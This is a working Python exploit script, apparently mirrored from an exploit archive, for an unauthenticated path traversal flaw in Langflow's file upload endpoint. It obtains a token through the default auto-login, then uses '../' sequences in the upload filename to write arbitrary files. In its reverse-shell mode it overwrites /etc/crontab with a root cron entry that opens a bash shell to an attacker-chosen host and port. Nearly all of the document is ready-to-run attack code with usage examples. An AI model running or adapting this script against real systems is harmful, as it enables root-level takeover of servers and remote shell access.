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## https://sploitus.com/exploit?id=PACKETSTORM:218304
#!/usr/bin/env python3
"""
Langflow <= 1.8.4 - Arbitrary File Write to RCE via Path Traversal (CVE-2026-5027)
Description:
The POST /api/v2/files endpoint does not sanitize the 'filename' parameter
from the multipart form data, allowing an attacker to write files to arbitrary
locations on the filesystem using path traversal sequences ('../').
When Langflow runs with auto-login enabled (default configuration), this
vulnerability is exploitable WITHOUT authentication. An unauthenticated
attacker can write arbitrary files to the server, leading to Remote Code
Execution via cron jobs, SSH authorized_keys, or webshells.
The vulnerability exists in upload_user_file() which passes file.filename
directly to LocalStorageService.save_file() without path sanitization.
Affected: Langflow <= 1.8.4 (and likely all prior versions)
Vendor: https://github.com/langflow-ai/langflow (50K+ stars)
Advisory: https://www.tenable.com/security/research/tra-2026-26
Impact: Unauthenticated Remote Code Execution (default config)
CVSS: 8.8 (HIGH) - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-22 (Path Traversal)
Exploit Author: Yahia Hamza (https://yh.do)
"""
import warnings
warnings.filterwarnings("ignore")
import requests
import sys
import argparse
import time
BANNER = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CVE-2026-5027 โ Langflow Path Traversal to RCE โ
โ Arbitrary File Write via POST /api/v2/files โ
โ โ
โ Affected: Langflow <= 1.8.4 โ
โ Impact: Unauthenticated RCE (default config) โ
โ CVSS: 8.8 (HIGH) โ
โ โ
โ Exploit Author: Yahia Hamza (https://yh.do) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"""
def get_token(target):
"""Get access token via auto-login (default config)."""
try:
r = requests.get(f"{target}/api/v1/auto_login", timeout=10, verify=False)
if r.status_code == 200:
token = r.json().get("access_token")
if token:
return token, "auto-login (unauthenticated)"
except:
pass
return None, None
def login_with_creds(target, username, password):
"""Authenticate with credentials."""
try:
r = requests.post(f"{target}/api/v1/login", json={
"username": username,
"password": password,
}, timeout=10, verify=False)
if r.status_code == 200:
return r.json().get("access_token"), "credentials"
except:
pass
return None, None
def write_file(target, token, remote_path, content):
"""Write arbitrary content to a path on the server via path traversal."""
headers = {"Authorization": f"Bearer {token}"}
traversal = "../" * 9
filename = traversal + remote_path.lstrip("/")
files = {'file': (filename, content, 'application/octet-stream')}
r = requests.post(f"{target}/api/v2/files", headers=headers, files=files,
timeout=15, verify=False)
return r.status_code in (200, 201), r
def exploit(target, username=None, password=None, lhost=None, lport=None):
"""Full exploitation chain."""
print(BANNER)
target = target.rstrip('/')
# Step 1: Obtain access token
print("[*] Step 1: Obtaining access token...")
if username and password:
token, method = login_with_creds(target, username, password)
else:
token, method = get_token(target)
if not token:
print("[-] Authentication failed.")
sys.exit(1)
print(f"[+] Token obtained via {method}")
print(f" {token[:40]}...")
# Step 2: Deploy payload via path traversal (single write to avoid filename dedup)
if lhost and lport:
print(f"\n[*] Step 2: Deploying reverse shell via path traversal...")
cron = f"""SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
"""
ok, r = write_file(target, token, "/etc/crontab", cron.encode())
if ok:
resp = r.json()
print(f"[+] Path traversal confirmed โ file written outside storage directory")
print(f" Server path: {resp.get('path', '')}")
print(f"[+] Cron job deployed to /etc/crontab")
print(f"[+] Shell incoming on {lhost}:{lport} within 60 seconds")
else:
print(f"[-] Exploit failed: HTTP {r.status_code}")
print(f" {r.text[:200]}")
sys.exit(1)
else:
print(f"\n[*] Step 2: Writing proof file via path traversal...")
proof = f"CVE-2026-5027 | Langflow RCE | {time.strftime('%Y-%m-%d %H:%M:%S')}".encode()
ok, r = write_file(target, token, "/tmp/CVE-2026-5027-proof.txt", proof)
if ok:
resp = r.json()
print(f"[+] Path traversal confirmed โ file written outside storage directory")
print(f" Server path: {resp.get('path', '')}")
print(f"[+] Proof written to /tmp/CVE-2026-5027-proof.txt")
else:
print(f"[-] Exploit failed: HTTP {r.status_code}")
sys.exit(1)
# Summary
print(f"\n{'='*65}")
print(f" EXPLOIT COMPLETE")
print(f"{'='*65}")
print(f" Target: {target}")
print(f" CVE: CVE-2026-5027")
print(f" Auth: {method}")
print(f" Impact: Arbitrary File Write โ RCE as root")
if lhost and lport:
print(f" Shell: {lhost}:{lport}")
print(f"{'='*65}")
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-5027 โ Langflow Path Traversal to RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""Examples:
%(prog)s -t http://target:7860
%(prog)s -t http://target:7860 -u admin -p password
%(prog)s -t http://target:7860 --lhost 10.0.0.1 --lport 4444
""",
)
parser.add_argument("-t", "--target", required=True, help="Langflow URL")
parser.add_argument("-u", "--username", help="Username (optional if auto-login enabled)")
parser.add_argument("-p", "--password", help="Password")
parser.add_argument("--lhost", help="Listener IP for reverse shell")
parser.add_argument("--lport", type=int, help="Listener port for reverse shell")
args = parser.parse_args()
exploit(args.target, args.username, args.password, args.lhost, args.lport)
if __name__ == "__main__":
main()